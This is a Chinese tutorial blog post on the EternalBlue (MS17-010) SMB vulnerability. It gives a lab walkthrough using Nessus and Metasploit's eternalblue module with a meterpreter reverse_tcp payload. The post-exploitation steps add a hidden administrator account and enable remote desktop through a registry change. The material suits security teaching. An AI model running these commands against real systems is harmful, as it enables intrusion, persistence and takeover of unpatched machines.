前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞考古之永恒之蓝原理及利用

漏洞考古之永恒之蓝原理及利用

作者头像
网络安全自修室
发布2022-12-06 14:14:34
1.3K0
发布2022-12-06 14:14:34
举报

永恒之蓝漏洞利用及攻击

1.基础知识介绍

什么是永恒之蓝漏洞?

代码语言:javascript
复制
  永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,
  “永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,
  英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

2.什么是SMB协议?

代码语言:javascript
复制
    SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间
    共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,
    SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么?

代码语言:javascript
复制
 (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望
 使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

 (2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户
 名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

 (3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个
 TconX应答数据报以表示此次连接是否接收或拒绝。

 (4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过
 close SMB关闭文件。

2.实验环境准备

1.使用kali作为攻击机,windows7(旗舰版)作为靶机,靶机IP地址未知,但kali和靶机均在同一个网段,可ping通

2.kali的地址为自动获取

3.本次实验还可以用到Nessus对靶机系统进行扫描,确认有无永恒之蓝漏洞 4.获取kali自身的IP地址 使用命令 ifconfig,和windows版本不同。windows下查看IP命令为ipconfig

查看如图:

可以看到,kali的IP地址为192.168.219.129 接下来,使用kali命令netdiscover对网络存活主机进行发现

一般情况下,第一个IP地址和最后一个IP地址可能性并不大 5.登录Nessus,对靶机系统进行扫描,确认有无永恒之蓝漏洞

登录进来后,创建一个新扫描

一般选择Basic Network Scan或者Advanced Scan就可以很好的扫描目标系统 创建一个新扫描,输入名称和要扫描IP,进行扫描,扫描将花费几分钟的时间,请耐心等待

6.使用msf对永恒之蓝漏洞进行利用和攻击 在扫描结果发现了如下漏洞,证明其存在永恒之蓝漏洞,可以进行破解(MS17-010为永恒之蓝漏洞编号)

1.在kali下输入命令msfconsole启动msf 如图:出现以下界面则表示启动成功

2.搜索ms17_010:search ms17_010

其中auxil iary/ scanner/ smb/ smb/ms17010为扫描模块,用于对目标是否存在永恒之蓝漏洞进行确认exploit /wi ndows/ smb/ms17 010 eternalblue为攻击模块,用于对存在永恒之蓝漏洞的目标进行攻击

3.使用use auxiliary/scanner/smb/smb_ms17_010模块进行分析

4.使用show options查看模块情况

此时如果不知道应该使用什么命令,则输入options来获得帮助

在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描

5.设置攻击地址,并run运行,提示貌似存在永恒之蓝漏洞(MS17-010)

代码语言:javascript
复制
set RHOST 目标IP地址             
run    运行

标红处说明这里貌似存在永恒之蓝漏洞,使用msf这样做也可以达到一个确认是否存在永恒之蓝漏洞的功能

设置攻击模块,并设置攻击IP地址,并run运行

6.输入 use exploit/windows/smb/ms17_010_eternalblue选择攻击模块进行攻击

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

设置监听主机(kali):set lhost kali的IP地址

利用exploit进行攻击:exploit

当出现 meterpreter > 时,则说明攻击成功

漏洞利用

1.显示远程主机系统信息:sysinfo

2.查看用户身份:getuid

3.对远程主机当前屏幕进行截图:screenshot

4.获得shell控制台:shell

5.输入chcp 65001即可消除乱码

6.新建一个用户 名为test,密码为123456,并提升为管理员用户

代码语言:javascript
复制
net user test 123456 /add  创建test用户,密码为:123456

代码语言:javascript
复制
net localgroup administrators test /add  将test用户拉入管理员组,提升为管理员用户

7.使用REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f2打开被攻击主机远程登录端口

8.在kali中使用rdesktop 目标的ip地址进行远程连接,用户名和密码为刚才新建的test用户

顺利弹出远程连接窗口,输入账号密码

自此,利用永恒之蓝漏洞攻击一台主机就结束了,现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 永恒之蓝漏洞利用及攻击
    • 1.基础知识介绍
      • 2.实验环境准备
        • 漏洞利用
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档